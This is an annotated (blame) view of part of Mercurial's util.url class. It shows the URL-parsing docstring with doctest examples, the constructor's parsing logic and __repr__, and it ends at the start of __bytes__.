|
2634 class url(object): |
14146
1618c4f6f15b
tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents:
14100
diff
changeset
|
2635 r"""Reliable URL parser. |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2636 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2637 This parses URLs and provides attributes for the following |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2638 components: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2639 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2640 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2641 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2642 Missing components are set to None. The only exception is |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2643 fragment, which is set to '' if present but empty. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2644 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2645 If parsefragment is False, fragment is included in query. If |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2646 parsequery is False, query is included in path. If both are |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2647 False, both fragment and query are included in path. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2648 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2649 See http://www.ietf.org/rfc/rfc2396.txt for more information. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2650 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2651 Note that for backward compatibility reasons, bundle URLs do not |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2652 take host names. That means 'bundle://../' has a path of '../'. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2653 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2654 Examples: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2655 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2656 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2657 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2658 >>> url(b'ssh://[::1]:2200//home/joe/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2659 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2660 >>> url(b'file:///home/joe/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2661 <url scheme: 'file', path: '/home/joe/repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2662 >>> url(b'file:///c:/temp/foo/') |
14915
28edd65000d9
url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents:
14825
diff
changeset
|
2663 <url scheme: 'file', path: 'c:/temp/foo/'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2664 >>> url(b'bundle:foo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2665 <url scheme: 'bundle', path: 'foo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2666 >>> url(b'bundle://../foo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2667 <url scheme: 'bundle', path: '../foo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2668 >>> url(br'c:\foo\bar') |
14146
1618c4f6f15b
tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents:
14100
diff
changeset
|
2669 <url path: 'c:\\foo\\bar'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2670 >>> url(br'\\blah\blah\blah') |
14699
388af80c058b
url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14640
diff
changeset
|
2671 <url path: '\\\\blah\\blah\\blah'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2672 >>> url(br'\\blah\blah\blah#baz') |
15074
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
2673 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2674 >>> url(br'file:///C:\users\me') |
20106
c33d9217e99d
util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents:
20000
diff
changeset
|
2675 <url scheme: 'file', path: 'C:\\users\\me'> |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2676 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2677 Authentication credentials: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2678 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2679 >>> url(b'ssh://joe:xyz@x/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2680 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2681 >>> url(b'ssh://joe@x/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2682 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2683 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2684 Query strings and fragments: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2685 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2686 >>> url(b'http://host/a?b#c') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2687 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2688 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2689 <url scheme: 'http', host: 'host', path: 'a?b#c'> |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2690 |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2691 Empty path: |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2692 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2693 >>> url(b'') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2694 <url path: ''> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2695 >>> url(b'#a') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2696 <url path: '', fragment: 'a'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2697 >>> url(b'http://host/') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2698 <url scheme: 'http', host: 'host', path: ''> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2699 >>> url(b'http://host/#a') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2700 <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2701 |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2702 Only scheme: |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2703 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2704 >>> url(b'http:') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2705 <url scheme: 'http'> |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2706 """ |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2707 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2708 _safechars = "!~*'()+" |
20106
c33d9217e99d
util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents:
20000
diff
changeset
|
2709 _safepchars = "/!~*'()+:\\" |
30329
dadb00a0ec0f
util: use '\\' rather than using r'\'
Augie Fackler <augie@google.com>
parents:
30328
diff
changeset
|
2710 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2711 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2712 def __init__(self, path, parsequery=True, parsefragment=True): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2713 # We slowly chomp away at path until we have only the path left |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2714 self.scheme = self.user = self.passwd = self.host = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2715 self.port = self.path = self.query = self.fragment = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2716 self._localpath = True |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2717 self._hostport = '' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2718 self._origpath = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2719 |
15074
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
2720 if parsefragment and '#' in path: |
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
2721 path, self.fragment = path.split('#', 1) |
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
2722 |
14699
388af80c058b
url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14640
diff
changeset
|
2723 # special case for Windows drive letters and UNC paths |
30329
dadb00a0ec0f
util: use '\\' rather than using r'\'
Augie Fackler <augie@google.com>
parents:
30328
diff
changeset
|
2724 if hasdriveletter(path) or path.startswith('\\\\'): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2725 self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2726 return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2727 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2728 # For compatibility reasons, we can't handle bundle paths as |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2729 # normal URLS |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2730 if path.startswith('bundle:'): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2731 self.scheme = 'bundle' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2732 path = path[7:] |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2733 if path.startswith('//'): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2734 path = path[2:] |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2735 self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2736 return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2737 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2738 if self._matchscheme(path): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2739 parts = path.split(':', 1) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2740 if parts[0]: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2741 self.scheme, path = parts |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2742 self._localpath = False |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2743 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2744 if not path: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2745 path = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2746 if self._localpath: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2747 self.path = '' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2748 return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2749 else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2750 if self._localpath: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2751 self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2752 return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2753 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2754 if parsequery and '?' in path: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2755 path, self.query = path.split('?', 1) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2756 if not path: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2757 path = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2758 if not self.query: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2759 self.query = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2760 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2761 # // is required to specify a host/authority |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2762 if path and path.startswith('//'): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2763 parts = path[2:].split('/', 1) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2764 if len(parts) > 1: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2765 self.host, path = parts |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2766 else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2767 self.host = parts[0] |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2768 path = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2769 if not self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2770 self.host = None |
15018
e89f62dcd723
url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents:
14988
diff
changeset
|
2771 # path of file:///d is /d |
e89f62dcd723
url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents:
14988
diff
changeset
|
2772 # path of file:///d:/ is d:/, not /d:/ |
14915
28edd65000d9
url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents:
14825
diff
changeset
|
2773 if path and not hasdriveletter(path): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2774 path = '/' + path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2775 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2776 if self.host and '@' in self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2777 self.user, self.host = self.host.rsplit('@', 1) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2778 if ':' in self.user: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2779 self.user, self.passwd = self.user.split(':', 1) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2780 if not self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2781 self.host = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2782 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2783 # Don't split on colons in IPv6 addresses without ports |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2784 if (self.host and ':' in self.host and |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2785 not (self.host.startswith('[') and self.host.endswith(']'))): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2786 self._hostport = self.host |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2787 self.host, self.port = self.host.rsplit(':', 1) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2788 if not self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2789 self.host = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2790 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2791 if (self.host and self.scheme == 'file' and |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2792 self.host not in ('localhost', '127.0.0.1', '[::1]')): |
37096
895f209b593b
util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents:
37095
diff
changeset
|
2793 raise error.Abort(_('file:// URLs can only refer to localhost')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2794 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2795 self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2796 |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2797 # leave the query string escaped |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2798 for a in ('user', 'passwd', 'host', 'port', |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2799 'path', 'fragment'): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2800 v = getattr(self, a) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2801 if v is not None: |
31567
4ebecf331d7d
util: use urlreq.unquote
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31541
diff
changeset
|
2802 setattr(self, a, urlreq.unquote(v)) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2803 |
34072
30535fe47e78
py3: fix repr(util.url) to return system string
Yuya Nishihara <yuya@tcha.org>
parents:
34052
diff
changeset
|
2804 @encoding.strmethod |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2805 def __repr__(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2806 attrs = [] |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2807 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path', |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2808 'query', 'fragment'): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2809 v = getattr(self, a) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2810 if v is not None: |
37873
bb1b15acfd06
util: make util.url __repr__ consistent on Python 2 and 3
Augie Fackler <augie@google.com>
parents:
37844
diff
changeset
|
2811 attrs.append('%s: %r' % (a, pycompat.bytestr(v))) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2812 return '<url %s>' % ', '.join(attrs) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2813 |
33022
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
2814 def __bytes__(self): |
14147
617483af1cc0
test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents:
14146
diff
changeset
|
2815 r"""Join the URL's components back into a URL string. |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2816 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2817 Examples: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2818 |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2819 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
15452
de7e2fba4326
